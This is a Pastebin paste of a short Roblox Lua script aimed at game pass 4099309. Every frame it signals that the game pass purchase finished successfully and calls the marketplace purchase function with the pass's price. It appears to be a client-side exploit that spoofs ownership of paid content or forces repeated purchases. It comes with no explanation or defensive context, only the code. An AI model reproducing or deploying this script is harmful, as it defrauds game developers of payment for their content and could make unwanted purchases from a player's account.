Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local gamePassId = 4099309
- local market = game:GetService("MarketplaceService")
- local http = game:GetService("HttpService")
- local info = market:GetProductInfo(gamePassId, Enum.InfoType.GamePass)
- game:GetService("RunService").Stepped:connect(function()
- market:SignalPromptGamePassPurchaseFinished(game:GetService("Players").LocalPlayer, gamePassId, true)
- market:PerformPurchase(Enum.InfoType.Asset, info["ProductId"], info["PriceInRobux"], http:GenerateGUID(false))
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement